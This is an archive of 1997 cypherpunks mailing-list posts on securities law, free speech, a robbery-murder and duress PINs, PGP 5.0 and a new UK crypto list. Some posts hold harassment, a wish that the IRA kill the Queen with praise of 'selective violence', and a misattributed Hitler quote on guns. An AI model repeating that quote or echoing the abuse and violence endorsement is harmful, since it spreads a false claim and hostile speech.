  the SEC, who's now trying to jail/fine the newsletter publishers.

* I no longer have the paper, and it wasn't terribly clear, but it sounded
  like SEC was unhappy that
   a) they were trying to drive up the price of the stock they were long
      (with the intent to sell? :-)
   b) they incorrectly analyzed the fundamentals and were wrong to
      recommend a buy when the price in fact failed to go up
      (The sales were like 10% of what they hoped for)
  [Now if every amateur investment analyst who fucked up went to jail...]

If this is true (and I may be missing important details), then why are these
unfortunates any less worthy of our support than, say, Jim Bell? :-)

Remind me some time to tell you in private e-mail of a few cases I witnessed
when large, politically connected financial services firms engaged in conduct
that would have landed you or me in jail - and it happens all the time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 06:33:24 +0800
To: cypherpunks@toad.com
Subject: Tim C. Stalker
Message-ID: <199706072221.PAA03680@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> Soon we'll be able to have true "stalker's pages," with links to home
> addresss and zipcode data bases.
> 
> (And when I find some young nymphette in one of the chat groups, I'll be
> able to click on her name and call up all the relevant information to allow
> me to go visit her! We'll have a grand time...or at least I will.)
> 
> --Jack D. Ripper

  I set up a "spoof" of the anonymizer page where it says "Click here
to find out what we know about you." <paraphrased) and turned a friend
on to the URL. When she clicked on the link, it provided all of the
relevant computer info, as well as her home address, the color of her
favorite nightie, and the fact that she sleeps with her bedroom window
open.
  She was only fooled for a fraction of a second, but in that time she
wet her drawers.

  I have no doubt that at some point in the future she will be able to
click on a similar link which is *not* a spoof.

              ^
             ! !
Flipper  _ ^ ! ! ^ _
        (            )






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 8 Jun 1997 04:52:08 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: TV Commercial
In-Reply-To: <v03007844afbde7341de8@[207.94.249.152]>
Message-ID: <Pine.BSF.3.91.970607152747.3758B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 6 Jun 1997, Bill Frantz wrote:

> At 12:34 AM -0700 6/6/97, David Lucas wrote:
> >It's a nice thought, but the image is all wrong. Two ships communicating
> >via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
> >isn't what I would call very secure communication.
> 
> Well, the Japanese managed to keep secure communications when sneeking up
> on Pearl Harbor, and I assume they used something similar for ship-to-ship
> communications.  Narrow beam, and everyone who can receive is in sight is
> nice.
> 

Did they? This is a matter of some debate ...

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 8 Jun 1997 04:56:58 +0800
To: Mike Duvos <mpd@netcom.com>
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <Pine.BSF.3.91.970607153157.3758C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 6 Jun 1997, Mike Duvos wrote:

> An interesting twist on rubber hose decryption in the case of the
> murder of Jonathan Levin, son of the top executive of media
> giant Time Warner.
> 
> Police believe his ATM card was stolen, and he was then jabbed
> with a steak knife until he revealed the PIN.
> 

A "duress" PIN which cancels the account would be a good addition; 
similar to the "duress" code on home security systems that appear to 
disarm the alarm but send a silent alarm to the monitoring station.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 04:26:42 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970607124001.37225@bywater.songbird.com>
Message-ID: <362X8D19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> On Sat, Jun 07, 1997 at 01:53:05PM -0500, Dr.Dimitri Vulis KOTM wrote:
> > Declan McCullagh <declan@pathfinder.com> writes:
> [...]
> >
> > Yes, the only honorable response to speech you don't like
> > is to ignore it or to respond with more speech.
>
> Quite so.  The issue, then, is "what is speech".  I put a 190 db
> megaphone next to your head and scream into it, and your eardrums
> rupture and the blood flows, that's arguably not speech.

Recall also how a few months ago Declan compared me to a loud drunk
in a bar who was drowning out all other patrons with noise, so
they couldn't talk there and had to toss me out.

Fortunately, neither of your analogies can happen on the Internet.

> I would argue that in order for something to fall under the absolute
> protections free speech it has to meet certain characteristics -- it
> can't lead to direct bodily harm, or property damage, or any other
> kind of "damage" that is legally defined.
>
> So the question of free speech is really, when you think about it, a
> question about what legally constitutes "damage".
>
> In the internet context, then, activities that cause any reasonable
> definition of "damage" could be controlled, under the "non-aggression
> principle" if nothing else.
>
> I think a reasonable definition of damage in an internet context is
> "excess interference with other transmission" (for some values of
> excess).

Suppose I post an article on alt.fan.rush-limbaugh making fun of the
"feminazis" [this is a hypo - I can't stand Rush] and one of those
feminazis sends me hate e-mail in response, opining that people like
me deserve to have their balls cut off with rusty scissors.  Suppose
her e-mail inflicts such a severe psychological trauma on me that I can't
get my dick up.  Can I, my wife, and my 2 girlfriends sue the
feminazi for damages?  How many girlfriends do I need to have
to make this a class action suit?

Suppose I have a virus on my computer which counts the number of
e-mails I receive and when it reaches 100, formats the hard disk.
Suppose the feminazi's e-mail happens to be #100, and triggers
the bomb. Is the poor feminazi responsible for the "damages"?
Suppose her little e-mail just happens to be the one that gets
my little 2GB hard disk full, causing the next incoming e-mail
to be lost. Is she responsible for that too?

In the Internet context, as you put it, if one can be "damaged"
by the speech, it's the listener's problem, not the speaker's.

One can set up one's mailbox to receive e-mail from only a given
list of senders.  One can even have no incoming mailbox (like
the noted Usenet personality Archimedes Plutonium).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sun, 8 Jun 1997 07:51:48 +0800
To: cypherpunks@Algebra.COM
Subject: Stats on the lists
Message-ID: <199706072342.QAA17818@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone said a while ago that they were working on a list stats generator
that makes a summary of what messages were on one feed and not another,
how fast each feed ran, and so on. Is there any news on this?
thanks






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 8 Jun 1997 07:05:23 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Test [List Operator Reply Only]
Message-ID: <199706072229.RAA01059@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

This is a test.

List operators only please reply.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sun, 8 Jun 1997 06:57:38 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <8TZX8D18w165w@bwalk.dm.com>
Message-ID: <199706072240.RAA03045@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > There is a lot of commercial compelled speech. For example,
> > mutual funds must say that past performance is not a guarantee
> > of future results.
> >
> > Do you find this kind of compelled speech unconstitutional?
> 
> (Is Black Unicorn reading this?)
> 
> The purpose of the securities laws is not to protect the small investor
> (who gets fucked very thoroughly, thank you :-) but the large financial
> services firms with political connections.
> 
> For example the requirement to put out the red herring for a non-trivial
> IPO is there not to protect the investors who buy in on the IPO, but to
> ensure that the syndicate that underwrites the IPO gets their 2+%.

Actually, if I am not mistaken, the big securities houses like JP Morgan
objected very loudly when SEC was created in 1930s. They have probably 
adapted to the situation and manage to make a profit, but they probably 
adapt again if the regulations went away.

> Ditto for the entire legal framework, including the U.S. Constitution and
> any other country's legal framework - its goal is to protect the
> (economic) interests of the ruling class, and whatever serves those
> interests is "constitutional". Inasmuch as free speech on the Internet

And so what follows from this statement?

> threatens the murderous fascist dictatorship in Washington, DC, any
> restrictions on free speech are therefore "constitutional".
> 
> You remind me, Igor, of a recent story I read in a paper which I already
> threw away, so I'll reconstruct it from memory, probably with mistakes:
> 
> * a few folks from Long Island, not NASD registered,published an "investment
>   advice" newsletter, distributed over the Internet and fax. Subscriptions
>   cost >$1K/year. It was called something like "The Small-Cap Equity
>   Speculator" (not exactly, my apologies, but "speculation" was definitely
>   in the title)
> 
> * Among the many penny stocks they discussed was some kind of a motorcycle
>   manufacturer, whose name I forgot too. The newsletter recommended a buy
>   based on their fundamentals analysis and potential sales.
> 
> * Some of the folks who published the newsletter had a long position in
>   the stock, which they apparently bought months before the recommendation
>   for (gasp) $2,000 (two thousand dollars).
> 
> * The newsletter had a disclaimer that the authors may hold positions in
>   the stocks they're discussing [surprise!]
> 
> * The motorcycle stock fell in price, and the readers who bet on it lost money
>   - as did, I presume, the newsletter publishers.  Some readers complained to
>   the SEC, who's now trying to jail/fine the newsletter publishers.
> 
> * I no longer have the paper, and it wasn't terribly clear, but it sounded
>   like SEC was unhappy that
>    a) they were trying to drive up the price of the stock they were long
>       (with the intent to sell? :-)
>    b) they incorrectly analyzed the fundamentals and were wrong to
>       recommend a buy when the price in fact failed to go up
>       (The sales were like 10% of what they hoped for)
>   [Now if every amateur investment analyst who fucked up went to jail...]

... Or a mature analyst. Anyway, almost all of them fuck up.

There could be something else involved in that story, as it sounds, there
is little to prosecute these guys for, as far as I understand.

> If this is true (and I may be missing important details), then why are these
> unfortunates any less worthy of our support than, say, Jim Bell? :-)
> 
> Remind me some time to tell you in private e-mail of a few cases I witnessed
> when large, politically connected financial services firms engaged in conduct
> that would have landed you or me in jail - and it happens all the time.

I am interested.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 8 Jun 1997 09:05:32 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@EINSTEIN.ssz.com>
Subject: Re: Test [List Operator Reply Only]
In-Reply-To: <199706072229.RAA01059@einstein.ssz.com>
Message-ID: <19970607175546.46608@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 07, 1997 at 05:29:42PM -0500, Jim Choate wrote:
> Hi,
> 
> This is a test.
> 
> List operators only please reply.
> 
>    _______________________________________________________________________
>   |            Speak the truth, but leave immediately after.              |
>   |                                     Slovenian Proverb                 |
>   |     Jim Choate                                 ravage@ssz.com         |
>   |     The Armadillo Group                        www.ssz.com            |
>   |     Austin, Texas, USA                         512-451-7087           |
>   |_______________________________________________________________________|

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sun, 8 Jun 1997 07:13:26 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Test [List Operator Reply Only]
In-Reply-To: <199706072229.RAA01059@einstein.ssz.com>
Message-ID: <199706072302.SAA00318@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



bzzzzzzzzzzzzzzz
Jim Choate wrote:
> 
> 
> Hi,
> 
> This is a test.
> 
> List operators only please reply.
> 
>    _______________________________________________________________________
>   |                                                                       |
>   |            Speak the truth, but leave immediately after.              |
>   |                                                                       |
>   |                                     Slovenian Proverb                 |
>   |                                                                       |
>   |     Jim Choate                                 ravage@ssz.com         |
>   |     The Armadillo Group                        www.ssz.com            |
>   |     Austin, Texas, USA                         512-451-7087           |
>   |_______________________________________________________________________|
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 8 Jun 1997 10:04:07 +0800
To: nexus@eskimo.com (Brian Lane)
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <3.0.2.32.19970607185143.0075b154@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:22 PM 6/7/97 GMT, Brian Lane wrote:
>  I don't think there is any strategy in being robbed, only survuval.
>Levin commited a grave mistake. Revealing his background to his class
>was a very stupid move.

Had the victim carried a firearm, his chances of survival would have
improved dramatically.

Gun control kills kids (and adults),


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 11:53:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
Message-ID: <199706080347.UAA12102@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote:
>A "duress" PIN which cancels the account would be a good addition; 
>similar to the "duress" code on home security systems that appear to 
>disarm the alarm but send a silent alarm to the monitoring station.
>
>-r.w.

Sure.  Could also have marked bills coated with staining UV flourescent
powder preloaded for just such an occasion.  Optionally, depending on the
location of the ATM, emergency lockdown features preventing the guy from
bugging out.  Easy enough to do....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cyberdog <eric@clever.net>
Date: Sun, 8 Jun 1997 09:50:09 +0800
To: Rabid Wombat <cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <v03102800afbfbdb3624c@[204.249.244.13]>
MIME-Version: 1.0
Content-Type: text/plain



>On Fri, 6 Jun 1997, Mike Duvos wrote:
>
>> An interesting twist on rubber hose decryption in the case of the
>> murder of Jonathan Levin, son of the top executive of media
>> giant Time Warner.
>>
>> Police believe his ATM card was stolen, and he was then jabbed
>> with a steak knife until he revealed the PIN.
>>
>
>A "duress" PIN which cancels the account would be a good addition;
>similar to the "duress" code on home security systems that appear to
>disarm the alarm but send a silent alarm to the monitoring station.
>
>-r.w.

I would want my account to remain active but instruct the machine to
dispense marked cash in case I'm outside in the trunk.

----
Survivalmonger








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 8 Jun 1997 05:51:14 +0800
To: cypherpunks@Algebra.COM
Subject: UK cryptography list
Message-ID: <Pine.LNX.3.91.970607213945.10544A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




After much playing with majordomo I have decided to create a UK 
cryptography list, I intend the list to focus on UK cryptography
research, law, activism, announcements of conferences/meetings etc...

The list is being hosted on fatmans.demon.co.uk, which is served by a 
dial up connection, so message latency will be around 12 hours on 
average, but I do not see this as a problem as I imagine list traffic
will not be very high.

Of course, the list will be open for anyone to subscribe whether in the 
UK or not, and it will be totally unmoderated (with the exception of 
majordomos command filter which sends posts containing the string 
"subscribe" to the list owner instead of the list).

To subscribe to the list send email to majordomo@fatmans.demon.co.uk with 
the string "subscribe crypto" in the message body.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 13:25:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption (Gun control comment)
Message-ID: <199706080518.WAA14409@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



On 6/7/97 Lucky Green wrote:
>Had the victim carried a firearm, his chances of survival would have
>improved dramatically.

Statistical fact: armed private citizens caputre and/or kill more
criminals in the US than all LEAs combined.  Of course, armed
criminals also kill more private citizens than all LEAs combined.

>Gun control kills kids (and adults),

"For the first time, a civilized nation has full gun registration.
Our streets will be safer, our police more efficient,
and the world will follow our lead to the future." 
								--- Adolf Hitler 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sun, 8 Jun 1997 13:51:35 +0800
To: cypherpunks@toad.com
Subject: Stats on the lists
Message-ID: <199706080539.WAA22512@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone said a while ago that they were working on a list stats generator
that makes a summary of what messages were on one feed and not another,
how fast each feed ran, and so on. Is there any news on this?
thanks






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Sun, 8 Jun 1997 05:13:01 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.91.970606110806.1642F-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970607214347.31737B-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



High Paul,

On Fri, 6 Jun 1997, Paul Bradley wrote:

> How long have you been on this list? Clearly not long enough.

I've not been long enough on this list for what ? Don't know about you,
but imvho violence is not a right solution. I will never be long enough on
this list to change my mind on that.
 
> Tims post made a good point, people soon forget the causes of conflict 
> and only see the effects, today, hardly anyone in the UK sees the IRA as 
> an organisation devoted to liberating NI, merely a bunch of thugs. Of 
> course they have brought this on themselves by indiscriminately blowing 
> things up. Talking of which the Queen is visiting Hastings (a town about 

I must admit that it has helped quite a lot, those bombs. Expecially for
the building sector. 

> 5 miles from me) today, I hope the IRA blow her up...

How much must you hate someone to wish him/her dead ? Have you ever been
'contronted' with dead, Paul ? Someone of your friends, relatives, ... who
died, perhaps ? How can you wish some other human being the same ? 
What if the IRA would blow up the queen ? I guess Charles is the next to
step on then ? What a progress !!

Havalook at Kongo: Mobutu has gone. Much better now ! After several
thousands were killed, the new president gives his first orders: "women
should not wear tight shirts anymore (I thought they were supposed to take
them off, but...) nor should they act in a sensual way.

Right, violence is at least A solution. But for what ?
BTW, I'd be very interested if you would care telling something more about
Northern Ireland. That's where you live I guess ? Are you "Catholic" or
"Protestant" ?

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 8 Jun 1997 18:49:08 +0800
To: carlier@iguana.be
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.95.970607214347.31737B-100000@inlimbox.iguana.be>
Message-ID: <Pine.LNX.3.91.970607230450.11734A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> How much must you hate someone to wish him/her dead ? Have you ever been
> 'contronted' with dead, Paul ? Someone of your friends, relatives, ... who
> died, perhaps ? How can you wish some other human being the same ? 
> What if the IRA would blow up the queen ? I guess Charles is the next to
> step on then ? What a progress !!

Indeed I have, as I have said in other posts I have no particular 
sympathies with the IRA, they are thugs who kill indiscriminately. 
Wishing someone dead is not that great a step from accepting that
they commit crime against you. I don`t wish the queen dead because
of her clear opposition to terrorist violence, there are other reasons
for this. Maybe wishing her dead is a little too strong in this 
particular case.

> Havalook at Kongo: Mobutu has gone. Much better now ! After several
> thousands were killed, the new president gives his first orders: "women
> should not wear tight shirts anymore (I thought they were supposed to take
> them off, but...) nor should they act in a sensual way.
> 
> Right, violence is at least A solution. But for what ?
> BTW, I'd be very interested if you would care telling something more about
> Northern Ireland. That's where you live I guess ? Are you "Catholic" or
> "Protestant" ?

I live in mainland England. NI, although still violent, is now not the 
only place bombed by the IRA, until a few years ago they mainly attacked 
targets in NI, they now bomb all over the country.
I do not claim that violence is a global solution, merely that in some 
cases it works. And I don`t believe labelling retaliation "violence" is 
really correct, the word violence is derived from violate, ie. to violate 
someones rights in a material and tangiable manner, I don`t believe 
retaliation or defence is a violation of rights, merely a response to 
agression. I personally see other ways than violence out of most 
disagreements, but I believe the only way to remove the power of the 
state is through selective violence as part of an overall strategy 
including strong cryptography and associated technologies. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 15:13:14 +0800
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] ElGamal
Message-ID: <199706080700.AAA16299@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Warning: if you fuck Timmy Mayflower in the ass, a rabid 
tapeworm might bite your penis.

              /////
             [ o o ] Timmy Mayflower
              \_=_/
              _| |_
             / \_/ \
          _oOOO___OOOo_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rachel Willmer <rachel@intertrader.com>
Date: Sun, 8 Jun 1997 07:58:54 +0800
To: Paul Bradley <cypherpunks@Algebra.COM
Subject: Re: UK cryptography list
In-Reply-To: <Pine.LNX.3.91.970607213945.10544A-100000@fatmans.demon.co.uk>
Message-ID: <3.0.1.32.19970608005010.006ae988@mail.intertrader.com>
MIME-Version: 1.0
Content-Type: text/plain



At 21:46 07/06/97 +0000, Paul Bradley wrote:
>
>After much playing with majordomo I have decided to create a UK 
>cryptography list, I intend the list to focus on UK cryptography
>research, law, activism, announcements of conferences/meetings etc...

Are you familiar with the <ukcrypto@maillist.ox.ac.uk> list, which covers
this field rather well already? 

I think it's a majordomo server, so a mail to majordomo@maillist.ox.ac.uk
with the body text "subscribe ukcrypto" would get you in...

Regards
Rachel


--
Rachel Willmer, Intertrader Ltd, 4 John's Place, Edinburgh, UK
<rachel@intertrader.com>    T: +44 131 555 8450    F: +44 131 555 8451

Authors of  "Digital Money Online" report
<http://www.intertrader.com/library/DigitalMoneyOnline>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 8 Jun 1997 15:48:01 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [CRYPTO] ElGamal
In-Reply-To: <199706080700.AAA16299@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970608013611.111824A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sun, 8 Jun 1997, Huge Cajones Remailer wrote:

> Warning: if you fuck Timmy Mayflower in the ass, a rabid 
> tapeworm might bite your penis.
> 
>               /////
>              [ o o ] Timmy Mayflower
>               \_=_/
>               _| |_
>              / \_/ \
>           _oOOO___OOOo_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sun, 8 Jun 1997 13:00:47 +0800
To: Cyberdog <eric@clever.net>
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <339a38b3.40212914@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 7 Jun 1997 21:42:55 -0400, you wrote:

>>On Fri, 6 Jun 1997, Mike Duvos wrote:
>>
>>> An interesting twist on rubber hose decryption in the case of the
>>> murder of Jonathan Levin, son of the top executive of media
>>> giant Time Warner.
>>>
>>> Police believe his ATM card was stolen, and he was then jabbed
>>> with a steak knife until he revealed the PIN.
>>>
>>
>>A "duress" PIN which cancels the account would be a good addition;
>>similar to the "duress" code on home security systems that appear to
>>disarm the alarm but send a silent alarm to the monitoring station.
>>
>>-r.w.
>
>I would want my account to remain active but instruct the machine to
>dispense marked cash in case I'm outside in the trunk.

  I definitely would not want an emergency PIN to fail to dispense
cash,
unless it dispensed some 00 buckshot. Now that's a thought. Enter the
PIN
number backwards and you get a shotgun blast to the chest.

  A Good Idea(tm) would be to have a reversed PIN number red flag the
ATM and
alert the police (as well as forward the videotape to the proper
authorities).

  A gun would have been a good idea for Levin to own, but probably
would not
have helped him since it was a student that he knew and trusted. He
probably
didn't feel threatened until it was too late for him.

  Also, if the card was one of the Visa Debit cards (or even a real
visa card
for that matter) there are tons of places that it can be used without
entering
a PIN number or submitting to an ID check. Grocery stores and gas
stations are
two examples, although you cannot get cash from anywhere without using
the PIN
number (that I know of).

  Brian

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Version: 5.0 beta
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ps. PGP 5.0 seems to have mangled my line ends in the process of
signing this message. Anyone know a cure for this?

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 8 Jun 1997 20:51:44 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081145.GAA02690@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.95.970608053415.20770A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I don't think commercial speech should be treated as second-class speech.
But my position is hardly surprising. 

-Declan


On Sun, 8 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97 
>    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
> 
> >There is a lot of commercial compelled speech. For example,
> >mutual funds must say that past performance is not a guarantee of future
> >results.
> 
> >Do you find this kind of compelled speech unconstitutional?
> 
> Well I don't know how Duncan feels about it but I think it's highly
> unconstutional.
> 
> - -- 
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
> - ---------------------------------------------------------------
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3a
> Charset: cp850
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> 59n7r3qg/aU=
> =2yF5
> -----END PGP SIGNATURE-----
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Date: Sun, 8 Jun 1997 18:48:38 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0 Beta
Message-ID: <3.0.2.32.19970608063244.00952970@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

This may be the wrong forum for this question, if so then ignore me.

I have posted this question to the folks at PGP...

In the process of creating a set of keys with PGP 5.0 Beta an Access
Violation 
took place (this is NT).  The public key was sent to keys.pgp.com but the key 
ring was not created (or was corrupted).  How does one go about getting a key 
revoked with a lost private key?

Thanks,
Phil


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ELsPdg9DfJYX7h/04O5HkO90cah2fjjyl036F+B0GHyT0t2L1Z+bKQ==
=wJ4+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 8 Jun 1997 19:56:37 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706071754.MAA01524@manifold.algebra.com>
Message-ID: <199706081145.GAA02690@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97 
   at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:

